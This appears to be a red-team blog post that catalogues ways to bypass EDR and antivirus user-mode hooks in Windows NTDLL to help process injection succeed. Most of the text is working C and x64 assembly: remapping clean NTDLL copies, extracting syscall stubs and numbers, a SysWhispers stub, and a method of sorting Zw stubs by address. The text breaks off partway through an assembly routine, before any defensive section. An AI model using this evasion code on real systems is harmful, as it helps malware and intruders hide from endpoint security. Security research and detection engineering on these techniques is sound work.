Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams


mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/

December 31, 2020

Introduction

The motivation to bypass user-mode hooks initially began with improving the success rate of process injection. There can be legitimate reasons to perform injection. UI Automation and Active Accessibility will use it to read and write memory of a GUI process. Spy++ uses it to log window messages sent and received between processes. But in most cases, it's used for one of the following:

- Hiding code inside a legitimate process to evade, prolong detection and removal.
- Executing code in the context of another user or elevating privileges.
- Modifying memory to cheat at online games.

And another less cited reason is to prevent all the above completing. Generally, process injection from *user-mode* (UM) applications needs the following steps.

1. Open a target process.
2. Allocate new or use existing memory to store code.
3. Write code with optional data to target process.
4. Execute code via new or existing thread.

While it's relatively simple to implement, the most common problem red teamers, game cheats and malware developers encounter today is *kernel-mode* (KM) notifications, mini-filter drivers and UM hooks installed by security vendors. UM hooks usually exist for system calls located inside NTDLL, which is about as close to the kernel as a UM process can be. With full access to the kernel, you'd assume security vendors have total control over the system and can block any type of malicious activity quite easily. But as some of you will know already, Windows has a security feature builtin since Vista called PatchGuard (PG) that protects critical areas of the kernel from being modified. Those areas include:

- System Service Descriptor Table (SSDT)
- Global Descriptor Table (GDT)
- Interrupt Descriptor Table (IDT)
- System images (`ntoskrnl.exe` , `ndis.sys` , `hal.dll`)
- Processor MSRs (syscall)

PG (much to the disappointment of security vendors and malware developers) restricts any software making extensions to the Windows kernel (even those for legitimate reasons). And up until its introduction, it was commonplace for security vendors to patch the SSDT.

(something also used by early versions of RegMon by Sysinternals). Microsoft's position is that *any* software, whether malicious or not, that patches the kernel can lead to reliability, performance and, most importantly, security issues. Following the release of PG, security vendors had to completely redesign their anti-malware solutions. Circumventing PG is an option, but it's not a safe, longterm solution for software intended to protect your operating system.

In this post we will catalogue the most popular and effective techniques for bypassing user-mode hooks, outlining advantages and disadvantages of each approach for red teamers where relevant. Finally, we will conclude with some approaches that can be used by defenders to protect or detect these techniques.

Kernel-Mode Notifications

Before exploring UM hook bypass methods, it's worth noting that as an alternative to patching or hooking in the kernel, Windows facilitates receiving notifications about events useful in detecting malware. The more common events include creation, termination of a process or thread and the mapping of an image/DLL for execution.

Notification Routine(s)	Description
PsSetCreateProcessNotifyRoutine, PsSetCreateProcessNotifyRoutineEx, PsSetCreateProcessNotifyRoutineEx2	Registers a callback that is subsequently notified when a new process is created and when such a process is deleted. Used to prevent creation or termination of a process.
PsSetCreateThreadNotifyRoutine, PsSetCreateThreadNotifyRoutineEx	Registers a callback that is subsequently notified when a new thread is created and when such a thread is deleted. Used to prevent creation or termination of a thread.
PsSetLoadImageNotifyRoutine, PsSetLoadImageNotifyRoutineEx	Registers a callback that is subsequently notified whenever an image is loaded (or mapped into memory). Used to prevent remapping of DLL to bypass user-mode hooks and loading of malicious DLL.
ObRegisterCallbacks	Registers a list of callback routines for thread, process, and desktop handle operations. Used to filter access permissions on calls to OpenProcess, OpenThread and DuplicateHandle.

Microsoft recommends security vendors use mini-filter drivers to intercept, examine and optionally block I/O events. A significant amount of file system and network functionality is implemented via the NtDeviceIoControlFile system call.

Bypass Methods

Since Microsoft doesn't provide a legitimate way for kernel components to receive notifications about memory operations, this forces vendors to install UM hooks in each process. In response to this, various techniques to bypass them have been devised and what follows is a brief description and source code in C to demonstrate some of those methods currently being used.

1. Export Address Table (EAT)

It's common for malware to resolve the address of system calls using a combination of GetModuleHandle and GetProcAddress. Another way is to manually locate `NTDLL.dll` in the Process Environment Block (PEB) and find the system call through parsing the Export Address Table (EAT). The following code is what you might see used to parse the EAT.

```
static
LPVOID
WINAPI
GetProcAddressFromEAT(
    LPVOID DllBase,
    const char *FunctionName)
{
    PIMAGE_DOS_HEADER       DosHeader;
    PIMAGE_NT_HEADERS       NtHeaders;
    DWORD                   NumberOfNames, VirtualAddress;
    PIMAGE_DATA_DIRECTORY   DataDirectory;
    PIMAGE_EXPORT_DIRECTORY ExportDirectory;
    PDWORD                  Functions;
    PDWORD                  Names;
    PWORD                   Ordinals;
    PCHAR                   Name;
    LPVOID                  ProcAddress=NULL;

    DosHeader      = (PIMAGE_DOS_HEADER)DllBase;
    NtHeaders      = RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
    DataDirectory  = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
    VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

    if (VirtualAddress==0) return NULL;

    ExportDirectory = RVA2VA(PIMAGE_EXPORT_DIRECTORY, DllBase, VirtualAddress);
    NumberOfNames   = ExportDirectory->NumberOfNames;

    if (NumberOfNames==0) return NULL;

    Functions = RVA2VA(PDWORD,DllBase, ExportDirectory->AddressOfFunctions);
    Names     = RVA2VA(PDWORD,DllBase, ExportDirectory->AddressOfNames);
    Ordinals  = RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);

    do {
      Name = RVA2VA(PCHAR, DllBase, Names[NumberOfNames-1]);
      if(lstrcmpA(Name, FunctionName) == 0) {
        ProcAddress = RVA2VA(LPVOID, DllBase, Functions[Ordinals[NumberOfNames-1]]);
        return ProcAddress;
      }
    } while (--NumberOfNames && ProcAddress == NULL);

    return ProcAddress;
}
```

If using the base address of NTDLL already in memory, this won't bypass any UM hooks for system calls. It's fine if you wish to bypass KERNEL32 or KERNELBASE hooks, but you can just as well use `GetProcAddress` to make life easier.

Usually, offsec tools will attempt to unhook system calls after calling a function like this and it can work well against many security products. Lately, however, more reputable vendors are either blocking the attempt to unhook or simply restoring the hooks shortly after unhooking has occurred. A hook on `NtProtectVirtualMemory` could easily intercept attempts to overwrite hooks.

2. Dual-load 1 (Section)

KnownDlls is a directory in the object namespace that contains section objects for the most common DLLs loaded by a process. It's intended to improve performance by reducing the load time for an executable and it's possible to map a new copy of NTDLL into a process by opening the section name " `\KnownDlls\ntdll.dll` ". Once the section object is mapped, we can resolve the address of system calls as described in the previous method. There's a kernel notification for loading an image and if an EDR or AV spotted NTDLL.dll being loaded a second time, it's probably going to examine the process for malware or at the very least notify the user of suspicious activity.

While you can use NtOpenSection and NtMapViewOfSection to load a new copy, the other problem is that these are likely to be hooked already. Some products won't hook NtMapViewOfSectionEx, but that's only available since Windows 10 1803 and it still doesn't prevent a kernel notification for the mapping.

```
NTSTATUS          Status;
LARGE_INTEGER     SectionOffset;
SIZE_T            ViewSize;
PVOID             ViewBase;
HANDLE            SectionHandle;
OBJECT_ATTRIBUTES ObjectAttributes;
UNICODE_STRING    KnownDllsNtDllName;
FARPROC           Function;

INIT_UNICODE_STRING(
  KnownDllsNtDllName,
  L"\\KnownDlls\\ntdll.dll"
  );

InitializeObjectAttributes(
    &ObjectAttributes,
    &KnownDllsNtDllName,
    OBJ_CASE_INSENSITIVE,
    0,
    NULL
    );

Status = NtOpenSection(
          &SectionHandle,
          SECTION_MAP_EXECUTE | SECTION_MAP_READ | SECTION_QUERY,
          &ObjectAttributes
          );

if(!NT_SUCCESS(Status)) {
  SET_LAST_NT_ERROR(Status);
  printf("Unable to open section %ld\n", GetLastError());
  goto cleanup;
}

//
// Set the offset to start mapping from.
//
SectionOffset.LowPart = 0;
SectionOffset.HighPart = 0;

//
// Set the desired base address and number of bytes to map.
//
ViewSize = 0;
ViewBase = NULL;

Status = NtMapViewOfSection(
          SectionHandle,
          NtCurrentProcess(),
          &ViewBase,
          0,              // ZeroBits
          0,              // CommitSize
          &SectionOffset,
          &ViewSize,
          ViewShare,
```

```
            0,
            PAGE_EXECUTE_READ
            );

    if(!NT_SUCCESS(Status)) {
      SET_LAST_NT_ERROR(Status);
      printf("Unable to map section %ld\n", GetLastError());
      goto cleanup;
    }

    Function = (FARPROC)GetProcAddressFromEAT(ViewBase, "NtOpenProcess");

    printf("NtOpenProcess : %p, %ld\n", Function, GetLastError());

cleanup:
    if(ViewBase != NULL) {
      NtUnmapViewOfSection(
        NtCurrentProcess(),
        ViewBase
        );
    }

    if(SectionHandle != NULL) {
      NtClose(SectionHandle);
    }
```

3. Dual-load 2 (Disk)

The only additional step when compared to the previous method is that we open a file handle to `C:\Windows\System32\NTDLL.dll` and use it to create a new section object with the `SEC_IMAGE` page protection. Then we map the object for reading or executing. NtOpenFile, NtCreateFile can be hooked, but even if they aren't, this doesn't solve the problems highlighted in the previous method.

```
NTSTATUS          Status;
LARGE_INTEGER     SectionOffset;
SIZE_T            ViewSize;
PVOID             ViewBase=NULL;
HANDLE            FileHandle=NULL, SectionHandle=NULL;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK   StatusBlock;
UNICODE_STRING    FileName;
FARPROC           Function;

//
// Try open ntdll.dll on disk for reading.
//
INIT_UNICODE_STRING(
  FileName,
  L"\\??\\C:\\Windows\\System32\\ntdll.dll"
  );

InitializeObjectAttributes(
    &ObjectAttributes,
    &FileName,
    OBJ_CASE_INSENSITIVE,
    0,
    NULL
    );

Status = NtOpenFile(
          &FileHandle,
          FILE_READ_DATA,
          &ObjectAttributes,
          &StatusBlock,
          FILE_SHARE_READ,
          NULL
          );

if(!NT_SUCCESS(Status)) {
  SET_LAST_NT_ERROR(Status);
  printf("NtOpenFile failed %ld\n", GetLastError());
  goto cleanup;
}

//
// Create section
//
Status = NtCreateSection(
          &SectionHandle,
          SECTION_ALL_ACCESS,
          NULL,
          NULL,
          PAGE_READONLY,
          SEC_IMAGE,
          FileHandle
          );

if(!NT_SUCCESS(Status)) {
```

```
      SET_LAST_NT_ERROR(Status);
      printf("NtCreateSection failed %ld\n", GetLastError());
      goto cleanup;
    }

    //
    // Set the offset to start mapping from.
    //
    SectionOffset.LowPart = 0;
    SectionOffset.HighPart = 0;

    //
    // Set the desired base address and number of bytes to map.
    //
    ViewSize = 0;
    ViewBase = NULL;

    Status = NtMapViewOfSection(
              SectionHandle,
              NtCurrentProcess(),
              &ViewBase,
              0,              // ZeroBits
              0,              // CommitSize
              &SectionOffset,
              &ViewSize,
              ViewShare,
              0,
              PAGE_EXECUTE_READ
              );

    if(!NT_SUCCESS(Status)) {
      SET_LAST_NT_ERROR(Status);
      printf("Unable to map section %ld\n", GetLastError());
      goto cleanup;
    }

    Function = (FARPROC)GetProcAddressFromEAT(ViewBase, "NtOpenProcess");

    printf("NtOpenProcess : %p, %ld\n", Function, GetLastError());

cleanup:
    if(ViewBase != NULL) {
      NtUnmapViewOfSection(
        NtCurrentProcess(),
        ViewBase
        );
    }

    if(SectionHandle != NULL) {
      NtClose(SectionHandle);
    }

    if(FileHandle != NULL) {
      NtClose(FileHandle);
    }
```

4. Extracting SSN Code Stub (Disk)

Open a file handle to `C:\Windows\System32\NTDLL.dll`. Create and map a section object with `SEC_COMMIT` and `PAGE_READONLY` page protection. (to try bypass any hooks and notifications). The system call that attacker needs is then resolved by parsing of the PE header and copying the call stub to executable memory. One could also use it to overwrite any potential hooks in the existing copy of NTDLL, but that will require using `NtProtectVirtualMemory`, which may already be hooked. Most system calls are usually no more than 32 bytes, but if the length of stub is required, 64-bit PE files support an exception directory which can be used to calculate it. `NtOpenFile`, `NtCreateFile`, NtReadFile might be hooked and reading `NTDLL.dll` from disk will look suspicious.

```
static
DWORD
WINAPI
RvaToOffset(
    PIMAGE_NT_HEADERS NtHeaders,
    DWORD Rva)
{
    PIMAGE_SECTION_HEADER SectionHeader;
    DWORD                 i, Size;

    if(Rva == 0) return 0;

    SectionHeader = IMAGE_FIRST_SECTION(NtHeaders);

    for(i = 0; i<NUMBER_OF_SECTIONS(NtHeaders); i++) {

      Size = SectionHeader[i].Misc.VirtualSize ?
             SectionHeader[i].Misc.VirtualSize : SectionHeader[i].SizeOfRawData;

      if(SectionHeader[i].VirtualAddress <= Rva &&
        Rva <= (DWORD)SectionHeader[i].VirtualAddress +
SectionHeader[i].SizeOfRawData)
      {
        if(Rva >= SectionHeader[i].VirtualAddress &&
           Rva <  SectionHeader[i].VirtualAddress + Size) {

          return SectionHeader[i].PointerToRawData + (Rva -
SectionHeader[i].VirtualAddress);
        }
      }
    }
    return 0;
}

static
PVOID
WINAPI
GetProcAddressFromMappedDLL(
    PVOID DllBase,
    const char *FunctionName)
{
    PIMAGE_DOS_HEADER       DosHeader;
    PIMAGE_NT_HEADERS       NtHeaders;
    PIMAGE_SECTION_HEADER   SectionHeader;
    PIMAGE_DATA_DIRECTORY   DataDirectory;
    PIMAGE_EXPORT_DIRECTORY ExportDirectory;
    DWORD                   Rva, Offset, NumberOfNames;
    PCHAR                   Name;
    PDWORD                  Functions, Names;
    PWORD                   Ordinals;

    DosHeader = (PIMAGE_DOS_HEADER)DllBase;
    NtHeaders  = (PIMAGE_NT_HEADERS)((PBYTE)DllBase + DosHeader->e_lfanew);
    DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
```

```
    Rva = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    Offset = RvaToOffset(NtHeaders, Rva);

    ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)DllBase + Offset);
    NumberOfNames = ExportDirectory->NumberOfNames;

    Offset = RvaToOffset(NtHeaders, ExportDirectory->AddressOfNames);
    Names = (PDWORD)((PBYTE)DllBase + Offset);

    Offset = RvaToOffset(NtHeaders, ExportDirectory->AddressOfFunctions);
    Functions = (PDWORD)((PBYTE)DllBase + Offset);

    Offset = RvaToOffset(NtHeaders, ExportDirectory->AddressOfNameOrdinals);
    Ordinals = (PWORD)((PBYTE)DllBase + Offset);

    do {
      Name = (PCHAR)(RvaToOffset(NtHeaders, Names[NumberOfNames - 1]) +
(PBYTE)DllBase);

      if(lstrcmpA(Name, FunctionName) == 0) {

        return (PVOID)((PBYTE)DllBase + RvaToOffset(NtHeaders,
Functions[Ordinals[NumberOfNames - 1]]));
      }
    } while (--NumberOfNames);

    return NULL;
}
```

5. Extracting SSN (Disk)

It's the exact same as the previous method described, except we only extract the System Service Number (SSN) and manually execute it with a code stub of our own. SyscallTables demonstrates dumping the numbers, while Hell's Gate demonstrates using them.

6. FireWalker

FireWalker: A New Approach to Generically Bypass User-Space EDR Hooking works by installing a Vectored Exception Handler and setting the CPU trap flag to single-step through a Win32 API or system call. The exception handler then attempts to locate the original system call stub. Another approach to this is using a disassembler and separate routines to build a call graph of the system call. Windows has a builtin disassembler that can be used to calculate the length of an instruction. The downside is that it doesn't provide a binary view of an opcode, so the Zydis disassembler library may be a better option. Internally, the debugger engine for windows has support for building a call graph of a function (to support the uf command in WinDbg), but unfortunately there's no API exposed to developers.

7. SysWhispers

SysWhispers contains a Python script that will construct a code stub for system calls to run on AMD64/x64 systems. The stub is compatible with Windows between XP/2003 and 10/2019. The generator uses SSNs taken from a list maintained by j00ru. And the correct SSN is selected at runtime based on the version of the operating system that's detected via the PEB. In more recent versions of Windows, there's also the option of using KUSER_SHARED_DATA to read the major, minor and build version. SysWhispers is currently popular among red teamers for bypassing AV and EDR. The following is an example code stub generated for `NtOpenProcess`:

```
NtOpenProcess:
        mov rax, [gs:60h]                       ; Load PEB into RAX.
NtOpenProcess_Check_X_X_XXXX:               ; Check major version.
        cmp dword [rax+118h], 5
        je  NtOpenProcess_SystemCall_5_X_XXXX
        cmp dword [rax+118h], 6
        je  NtOpenProcess_Check_6_X_XXXX
        cmp dword [rax+118h], 10
        je  NtOpenProcess_Check_10_0_XXXX
        jmp NtOpenProcess_SystemCall_Unknown
NtOpenProcess_Check_6_X_XXXX:               ; Check minor version for Windows
Vista/7/8.
        cmp dword [rax+11ch], 0
        je  NtOpenProcess_Check_6_0_XXXX
        cmp dword [rax+11ch], 1
        je  NtOpenProcess_Check_6_1_XXXX
        cmp dword [rax+11ch], 2
        je  NtOpenProcess_SystemCall_6_2_XXXX
        cmp dword [rax+11ch], 3
        je  NtOpenProcess_SystemCall_6_3_XXXX
        jmp NtOpenProcess_SystemCall_Unknown
NtOpenProcess_Check_6_0_XXXX:               ; Check build number for Windows Vista.
        cmp word [rax+120h], 6000
        je  NtOpenProcess_SystemCall_6_0_6000
        cmp word [rax+120h], 6001
        je  NtOpenProcess_SystemCall_6_0_6001
        cmp word [rax+120h], 6002
        je  NtOpenProcess_SystemCall_6_0_6002
        jmp NtOpenProcess_SystemCall_Unknown
NtOpenProcess_Check_6_1_XXXX:               ; Check build number for Windows 7.
        cmp word [rax+120h], 7600
        je  NtOpenProcess_SystemCall_6_1_7600
        cmp word [rax+120h], 7601
        je  NtOpenProcess_SystemCall_6_1_7601
        jmp NtOpenProcess_SystemCall_Unknown
NtOpenProcess_Check_10_0_XXXX:              ; Check build number for Windows 10.
        cmp word [rax+120h], 10240
        je  NtOpenProcess_SystemCall_10_0_10240
        cmp word [rax+120h], 10586
        je  NtOpenProcess_SystemCall_10_0_10586
        cmp word [rax+120h], 14393
        je  NtOpenProcess_SystemCall_10_0_14393
        cmp word [rax+120h], 15063
        je  NtOpenProcess_SystemCall_10_0_15063
        cmp word [rax+120h], 16299
        je  NtOpenProcess_SystemCall_10_0_16299
        cmp word [rax+120h], 17134
        je  NtOpenProcess_SystemCall_10_0_17134
        cmp word [rax+120h], 17763
        je  NtOpenProcess_SystemCall_10_0_17763
        cmp word [rax+120h], 18362
        je  NtOpenProcess_SystemCall_10_0_18362
        cmp word [rax+120h], 18363
        je  NtOpenProcess_SystemCall_10_0_18363
        cmp word [rax+120h], 19041
```

```
        je  NtOpenProcess_SystemCall_10_0_19041
        jmp NtOpenProcess_SystemCall_Unknown
NtOpenProcess_SystemCall_5_X_XXXX:          ; Windows XP and Server 2003
        mov eax, 0023h
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_6_0_6000:          ; Windows Vista SP0
        mov eax, 0023h
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_6_0_6001:          ; Windows Vista SP1 and Server 2008 SP0
        mov eax, 0023h
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_6_0_6002:          ; Windows Vista SP2 and Server 2008 SP2
        mov eax, 0023h
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_6_1_7600:          ; Windows 7 SP0
        mov eax, 0023h
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_6_1_7601:          ; Windows 7 SP1 and Server 2008 R2 SP0
        mov eax, 0023h
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_6_2_XXXX:          ; Windows 8 and Server 2012
        mov eax, 0024h
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_6_3_XXXX:          ; Windows 8.1 and Server 2012 R2
        mov eax, 0025h
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_10_0_10240:        ; Windows 10.0.10240 (1507)
        mov eax, 0026h
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_10_0_10586:        ; Windows 10.0.10586 (1511)
        mov eax, 0026h
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_10_0_14393:        ; Windows 10.0.14393 (1607)
        mov eax, 0026h
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_10_0_15063:        ; Windows 10.0.15063 (1703)
        mov eax, 0026h
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_10_0_16299:        ; Windows 10.0.16299 (1709)
        mov eax, 0026h
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_10_0_17134:        ; Windows 10.0.17134 (1803)
        mov eax, 0026h
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_10_0_17763:        ; Windows 10.0.17763 (1809)
        mov eax, 0026h
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_10_0_18362:        ; Windows 10.0.18362 (1903)
        mov eax, 0026h
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_10_0_18363:        ; Windows 10.0.18363 (1909)
        mov eax, 0026h
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_10_0_19041:        ; Windows 10.0.19041 (2004)
        mov eax, 0026h
```

```
        jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_Unknown:           ; Unknown/unsupported version.
        ret
NtOpenProcess_Epilogue:
        mov r10, rcx
        syscall
        ret
```

8. Sorting by System Call Address

There's a method of discovering SSNs that doesn't require loading a new copy of NTDLL, doesn't require unhooking, doesn't require querying the PEB or `KUSER_SHARED_DATA` for version information, and doesn't require reading them from code stubs manually. Moreover, it's relatively simple to implement and should work successfully on all versions of Windows. Admittedly, it's based on an unhooking technique used in some ransomware that was first suggested by userman01 on discord. His comment was:

"An easy way to get syscall indices, even if AV overwrites them, ... simply enumerate all Zw stubs and then sort them by address."*

Sounds perfect! `GetSyscallList()` will parse the EAT of `NTDLL.dll`, locating all function names that begin with "Zw". It replaces "Zw" with "Nt" before generating a hash of the function name. It then saves the hash and address of code stub to a table of `SYSCALL_ENTRY` structures. After gathering all the names, it uses a simple bubble sort of code addresses in ascending order. The SSN is the index of the system call stored in the table.

```
#define RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)

static
void
GetSyscallList(PSYSCALL_LIST List) {
    PPEB_LDR_DATA           Ldr;
    PLDR_DATA_TABLE_ENTRY   LdrEntry;
    PIMAGE_DOS_HEADER       DosHeader;
    PIMAGE_NT_HEADERS       NtHeaders;
    DWORD                   i, j, NumberOfNames, VirtualAddress, Entries=0;
    PIMAGE_DATA_DIRECTORY   DataDirectory;
    PIMAGE_EXPORT_DIRECTORY ExportDirectory;
    PDWORD                  Functions;
    PDWORD                  Names;
    PWORD                   Ordinals;
    PCHAR                   DllName, FunctionName;
    PVOID                   DllBase;
    PSYSCALL_ENTRY          Table;
    SYSCALL_ENTRY           Entry;

    //
    // Get the DllBase address of NTDLL.dll
    // NTDLL is not guaranteed to be the second in the list.
    // so it's safer to loop through the full list and find it.
    Ldr = (PPEB_LDR_DATA)NtCurrentTeb()->ProcessEnvironmentBlock->Ldr;

    // For each DLL loaded
    for (LdrEntry=(PLDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1];
         LdrEntry->DllBase != NULL;
         LdrEntry=(PLDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
    {
      DllBase = LdrEntry->DllBase;
      DosHeader = (PIMAGE_DOS_HEADER)DllBase;
      NtHeaders = RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
      DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
      VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
      if(VirtualAddress == 0) continue;

      ExportDirectory = (PIMAGE_EXPORT_DIRECTORY) RVA2VA(ULONG_PTR, DllBase,
VirtualAddress);

      //
      // If this is NTDLL.dll, exit loop
      //
      DllName = RVA2VA(PCHAR,DllBase, ExportDirectory->Name);

      if((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue;
      if((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break;
    }

    NumberOfNames = ExportDirectory->NumberOfNames;

    Functions = RVA2VA(PDWORD,DllBase, ExportDirectory->AddressOfFunctions);
    Names     = RVA2VA(PDWORD,DllBase, ExportDirectory->AddressOfNames);
    Ordinals  = RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
```

```
    Table     = List->Table;

    do {
      FunctionName = RVA2VA(PCHAR, DllBase, Names[NumberOfNames-1]);
      //
      // Is this a system call?
      //
      if(*(USHORT*)FunctionName == 'wZ') {
        //
        // Save Hash of system call and the address.
        //
        Table[Entries].Hash = HashSyscall(0x4e000074, &FunctionName[2]);
        Table[Entries].Address = Functions[Ordinals[NumberOfNames-1]];

        Entries++;
        if(Entries == MAX_SYSCALLS) break;
      }
    } while (--NumberOfNames);

    //
    // Save total number of system calls found.
    //
    List->Entries = Entries;

    //
    // Sort the list by address in ascending order.
    //
    for(i=0; i<Entries - 1; i++) {
      for(j=0; j<Entries - i - 1; j++) {
        if(Table[j].Address > Table[j+1].Address) {
          //
          // Swap entries.
          //
          Entry.Hash = Table[j].Hash;
          Entry.Address = Table[j].Address;

          Table[j].Hash = Table[j+1].Hash;
          Table[j].Address = Table[j+1].Address;

          Table[j+1].Hash = Entry.Hash;
          Table[j+1].Address = Entry.Address;
        }
      }
    }
}
```

Just to demonstrate how it might work in amd64/x64 assembly, the following is based on the above code:

```
      ; ************************************************
      ; Gather a list of system calls by parsing the
      ; export address table of NTDLL.dll
      ;
      ; Generate a hash of the syscall name and save
      ; the relative virtual address to a table.
      ;
      ; Sort table entries by virtual address in ascending order.
      ;
      ; ************************************************

      %ifndef BIN
        global GetSyscallList_amd64
      %endif

GetSyscallList_amd64:
      ; save non-volatile registers
      ; rcx points to SYSCALL_LIST.
      ; it's saved last.
      pushx   rsi, rbx, rdi, rbp, rcx

      push    TEB.ProcessEnvironmentBlock
      pop     r11
      mov     rax, [gs:r11]
      mov     rax, [rax+PEB.Ldr]
      mov     rdi, [rax+PEB_LDR_DATA.InLoadOrderModuleList + LIST_ENTRY.Flink]
      jmp     scan_dll

      ;
      ; Because NTDLL.dll is not guaranteed to be second in the list of DLLs,
      ; we search until a match is found.
      ;
next_dll:
      mov     rdi, [rdi+LDR_DATA_TABLE_ENTRY.InLoadOrderLinks + LIST_ENTRY.Flink]
scan_dll:
      mov     rbx, [rdi+LDR_DATA_TABLE_ENTRY.DllBase]
      ;
      mov     esi, [rbx+IMAGE_DOS_HEADER.e_lfanew]
      add     esi, r11d             ; add 60h or TEB.ProcessEnvironmentBlock
      ; ecx = IMAGE_DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
      mov     ecx, [rbx+rsi+IMAGE_NT_HEADERS.OptionalHeader + \
                           IMAGE_OPTIONAL_HEADER.DataDirectory + \
                           IMAGE_DIRECTORY_ENTRY_EXPORT * IMAGE_DATA_DIRECTORY_size +
\
                           IMAGE_DATA_DIRECTORY.VirtualAddress - \
                           TEB.ProcessEnvironmentBlock]
      jecxz   next_dll ; if no exports, try next module in the list
      ; rsi = offset IMAGE_EXPORT_DIRECTORY.Name
      lea     rsi, [rbx+rcx+IMAGE_EXPORT_DIRECTORY.Name]
      ; NTDLL?
      lodsd
      xchg    eax, esi
      add     rsi, rbx

      ;
```

```
      ; Convert to lowercase by setting bit 5 of each byte.
      ;
      lodsd
      or      eax, 0x20202020
      cmp     eax, 'ntdl'
      jnz     next_dll

      lodsd
      or      eax, 0x20202020
      cmp     eax, 'l.dl'
      jnz     next_dll

      ;
      ; Load address of SYSCALL_LIST.Table
      ;
      pop     rdi
      push    rdi
      scasd           ; skip Entries
      push    0       ; Entries = 0

      ; rsi = offset IMAGE_EXPORT_DIRECTORY.Name
      lea     rsi, [rbx+rcx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
      lodsd                   ; eax = NumberOfNames
      xchg    eax, ecx

      ; r8 = IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
      lodsd
      xchg    eax, r8d
      add     r8, rbx         ; r8 = RVA2VA(r8, rbx)

      ; rbp = IMAGE_EXPORT_DIRECTORY.AddressOfNames
      lodsd
      xchg    eax, ebp
      add     rbp, rbx        ; rbp = RVA2VA(rbp, rbx)

      ; r9 = IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
      lodsd
      xchg    eax, r9d
      add     r9, rbx         ; r9 = RVA2VA(r9, rbx)
find_syscall:
      mov     esi, [rbp+rcx*4-4]    ; rsi = AddressOfNames[rcx-1]
      add     rsi, rbx
      lodsw
      cmp     ax, 'Zw'        ; system call?
      loopne  find_syscall
      jne     sort_syscall

      ; hash the system call name
      xor     eax, eax
      mov     edx, 0x4e000074     ; "Nt"
hash_syscall:
      lodsb
      test    al, al
      jz      get_address
      ror     edx, 8
```

```
      add     edx, eax
      jmp     hash_syscall

get_address:
      movzx   eax, word[r9+rcx*2]  ; eax = AddressOfNameOrdinals[rcx]
      mov     eax, [r8+rax*4]      ; eax = AddressOfFunctions[eax]

      stosd                        ; save Address
      xchg    eax, edx
      stosd                        ; save Hash

      inc     dword[rsp]           ; Entries++

      ; exports remaining?
      test    ecx, ecx
      jnz     find_syscall

      ;
      ; Bubble sort.
      ; Arranges Table entries by Address in ascending order.
      ;
      ; Based on the 16-byte sort code by Jibz
      ;
      ; https://gist.github.com/jibsen/8afc36995aadb896b649
      ;

sort_syscall:
      pop     rax              ; Entries
      pop     rdi              ; List
      stosd                    ; List->Entries = Entries
      lea     ecx, [eax - 1]   ; ecx = Entries - 1
outerloop:
      push    rcx              ; save rcx for outer loop
      push    rdi              ; rdi = Table

      push    rdi              ; rsi = Table
      pop     rsi
innerloop:
      lodsq                    ; load Address + Hash
      cmp     eax, [rsi]       ; do we need to swap?
      jbe     order_ok
      xchg    rax, [rsi]       ; if so, this is first step
order_ok:
      stosq                    ; second step, or just write back rax
      loop    innerloop
      pop     rdi
      pop     rcx              ; restore number of elements
      loop    outerloop        ; rcx is used for both loops

exit_get_list:
      ; restore non-volatile registers
      popx   rsi, rbx, rdi, rbp
      ret
```

To resolve a system call name to SSN, we can use the following function. Given the hash of a system call name we wish to use, this will search the table for a match and return the SSN. If the system call is not supported by the operating system, this function will simply return FALSE:

```
//
// Get the System Service Number from list.
//
static
BOOL
GetSSN(PSYSCALL_LIST List, DWORD Hash, PDWORD Ssn) {
    DWORD i;

    for(i=0; i<List->Entries; i++) {
      if(Hash == List->Table[i].Hash) {
        *Ssn = i;
        return TRUE;
      }
    }
    return FALSE;
}
```

And assembly:

```
      ;
      ; Lookup the System Service Number for a hash.
      ;
GetSSN_amd64:
      lea     r9, [rcx+4]         ; r9 = List->Table
      mov     ecx, dword[rcx]     ; ecx = List->Entries
      or      ebx, -1             ; i = -1
search_table:
